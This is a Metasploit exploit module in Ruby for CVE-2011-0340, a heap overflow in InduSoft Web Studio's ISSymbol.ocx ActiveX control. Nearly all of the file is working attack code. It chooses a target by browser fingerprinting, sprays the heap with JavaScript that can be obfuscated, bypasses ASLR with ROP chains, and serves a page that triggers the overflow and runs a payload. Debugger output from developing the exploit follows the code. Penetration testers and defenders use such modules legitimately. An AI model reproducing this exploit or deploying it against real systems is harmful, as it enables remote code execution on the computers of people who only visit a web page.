##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "9.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :rank       => NormalRanking,
  #  :classid    => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
  #  :method     => "InternationalSeparator"
  #})


  def initialize(info={})
    super(update_info(info,
      'Name'           => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
      'Description'    => %q{
        This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
        SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
        string argument for the InternationalSeparator() method of the ISSymbol control.
        This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Alexander Gavrun', # Vulnerability discovery
          'Dmitriy Pletnev', # Vulnerability discovery
          'James Fitts <fitts.james[at]gmail.com>', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-0340' ],
          [ 'OSVDB', '72865' ],
          [ 'BID', '47596' ],
          [ 'ZDI', '12-168' ],
          [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
        ],
      'Payload'        =>
        {
          'Space'            => 934,
          'DisableNops'      => true,
          'PrependEncoder'   => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
          [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
          [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
          [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
          [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
          [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4' } ],
          [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fe' } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 28 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    # Land the payload at 0x0c0c0c0c
    case my_target
    when targets[7]
      # IE 9 on Windows 7
      js = %Q|
      function randomblock(blocksize)
      {
        var theblock = "";
        for (var i = 0; i < blocksize; i++)
        {
          theblock += Math.floor(Math.random()*90)+10;
        }
        return theblock;
      }

      function tounescape(block)
      {
        var blocklen = block.length;
        var unescapestr = "";
        for (var i = 0; i < blocklen-1; i=i+4)
        {
          unescapestr += "%u" + block.substring(i,i+4);
        }
        return unescapestr;
      }

      var heap_obj = new heapLib.ie(0x10000);
      var code = unescape("#{js_code}");
      var #{randnop} = "#{js_random_nops}";
      var nops = unescape(#{randnop});
      while (nops.length < 0x80000) nops += nops;
      var offset_length = #{my_target['Offset']};
      for (var i=0; i < 0x1000; i++) {
        var padding = unescape(tounescape(randomblock(0x1000)));
        while (padding.length < 0x1000) padding+= padding;
        var junk_offset = padding.substring(0, offset_length);
        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
        heap_obj.alloc(sprayblock);
      }
      |

    else
      # For IE 6, 7, 8
      js = %Q|
      var heap_obj = new heapLib.ie(0x20000);
      var code = unescape("#{js_code}");
      var #{randnop} = "#{js_nops}";
      var nops = unescape(#{randnop});
      while (nops.length < 0x80000) nops += nops;
      var offset = nops.substring(0, #{my_target['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      var block = shellcode.substring(0, (0x80000-6)/2);
      heap_obj.gc();
      for (var i=1; i < 0x300; i++) {
        heap_obj.alloc(block);
      }
      |

    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    return js
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    if t['Rop'].nil?
      prepend = [
        0x0c0c0c0c,
        0x0c0c0c0c,
        0x0c0c0c0c,
        0x0c0c0c0c,
        0x0c0c0c0c,
        0x0c0c0c0c,
        0x0c0c0c28 # Will finally become EIP
      ].pack("V*")
      return prepend + code
    end

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      stack_pivot = [
        0x0c0c0c0c, # ret from msvcrt.dll
        0x77c15ed6, # ret from msvcrt.dll
        0x77c15ed6, # ret from msvcrt.dll
        0x77c15ed6, # ret from msvcrt.dll
        0x77c15ed6, # ret from msvcrt.dll
        0x77c1f519, # pop # ret from msvcrt.dll
        0x77c4fa1a  # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
      ].pack("V*")
      rop_payload = generate_rop_payload('msvcrt', code,  {'pivot'=>stack_pivot, 'target'=>'xp'})
    else
      print_status("Using JRE ROP")
      stack_pivot = [
        0x0c0c0c0c, # ret from msvcr71.dll
        0x7c376fff, # ret from msvcr71.dll
        0x7c376fff, # ret from msvcr71.dll
        0x7c376fff, # ret from msvcr71.dll
        0x7c376fff, # ret from msvcr71.dll
        0x7c376ffe, # pop # ret from msvcr71.dll
        0x7c376ffc  # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
      ].pack("V*")
      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
    end

    return rop_payload
  end

  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)

    # ActiveX parameters
    clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
    name = rand_text_alpha(rand(50) + 1 )
    boom = Rex::Text.to_unescape("\x0c" * 6888)

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:#{clsid}' id='#{name}'></object>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <script language='javascript'>
    #{name}.InternationalSeparator(unescape("#{boom}"));
    </script>
    </body></html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end

=begin
eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01            mov     eax,dword ptr [ecx]  ds:0023:336b4632=????????
0:000> u eip
ISSymbol!DllUnregisterServer+0xc9e2:
100127d2 8b01            mov     eax,dword ptr [ecx]
100127d4 8b5018          mov     edx,dword ptr [eax+18h]
100127d7 ffe2            jmp     edx
100127d9 cc              int     3
100127da cc              int     3
100127db cc              int     3
100127dc cc              int     3
100127dd cc              int     3

* ebx
$ ruby pattern_offset.rb 41306941  6888
[*] Exact match at offset 240

* ecx
$ ruby pattern_offset.rb 336b4632  6888
[*] Exact match at offset 4208

=end
